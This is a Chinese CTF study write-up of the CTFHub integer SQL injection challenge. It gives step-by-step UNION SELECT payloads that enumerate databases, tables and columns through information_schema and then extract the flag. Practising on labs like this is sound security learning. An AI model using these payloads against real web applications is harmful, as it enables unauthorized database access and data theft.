2025.1.15——假期回归训练,从sql注入开始|一、SQL整数型注入

第一阶段(2025.1.15-2025.1.27)

题目来源:CTFHub技能树。

"磨刀不误砍柴工"

所有题目的相同步骤:①整理已知信息;②联系相关信息;③用所学知识判断题型;④解题

题目一:SQL整数型注入

step 1:整理已知信息

已知本题为SQL整数型注入,故不需要进行提醒判断。

题目特点:不需要用引号进行闭合,可用联合注入查询、order by语句查询列数、需要爆数据库名、表名、列名、具体数据

step 2:查询列数,以便可以使用union select(前提:前后列数必须一致)注入

sql 复制代码
1 order by 3 #
sql 复制代码
1 order by 2 #

可得共2个字段

step 3:进行联合注入,并查询回显点,并爆数据库名

sql 复制代码
1 and 1=2 union select database(),database() #

可得两个数据库名均为sqli

注:and 1=2 的作用是为了使前面的 select * from news where id=1这个查询条件不成立,直接使得后面的union操作能够正常执行

step 4:爆表名

错误示范:1 and 1=2 union select table_name from information_schema.tables where table_schema=sqli #

错误原因:sqli是字符串,需要加单引号

↓正确payload①------缺陷在于只会回显处第一个表的表名,若要爆出所有表名,需要用到limit m,n(m表示偏移量,从0开始;n表示要返回的行数)

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' #

爆第一个表名,用limit 0,1

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 0,1 #

爆第二个表名,用limit 1,1

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 1,1 #

payload②------用group_concat()一次爆出所有名称

sql 复制代码
1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

step 5:爆列名------形如爆表名

payload①------此处只有一个列名

sql 复制代码
1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

payload②------group_concat()

sql 复制代码
1 and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'#

step 6:爆具体数据

payload如下

sql 复制代码
1 and 1=2 union select 1,flag from sqli.flag

注:这里1,flag的作用是前后两个select语句的字段保持一致,所以1,不能去掉

相关推荐
~无忧花开~7 分钟前
CSS学习笔记(五):CSS媒体查询入门指南
开发语言·前端·css·学习·媒体
newxtc19 分钟前
【猿辅导-注册安全分析报告-无验证方式导致安全隐患】
开发语言·selenium·安全·yolo·安全爆破
吴鹰飞侠22 分钟前
AJAX的学习
前端·学习·ajax
风语者日志33 分钟前
CTFSHOW—WEB4
网络·安全·web安全·网络安全·ctf
我的xiaodoujiao1 小时前
使用 Python 语言 从 0 到 1 搭建完整 Web UI自动化测试学习系列 19--测试框架Pytest基础 3--前后置操作应用
python·学习·测试工具·pytest
lzj_pxxw1 小时前
嵌入式开发技巧:舍弃标志位,用宏定义函数实现程序单次运行
笔记·stm32·单片机·嵌入式硬件·学习
gordon~91 小时前
Spring 的bean是安全的吗
java·安全·spring·bean
江苏世纪龙科技2 小时前
【世纪龙科技】新能源汽车动力电池拆装与检测虚拟实训软件介绍
学习
whale fall2 小时前
与deepseek用英语聊天的第一天
学习
dxnb222 小时前
Datawhale25年10月组队学习:math for AI+Task3线性代数(下)
人工智能·学习·线性代数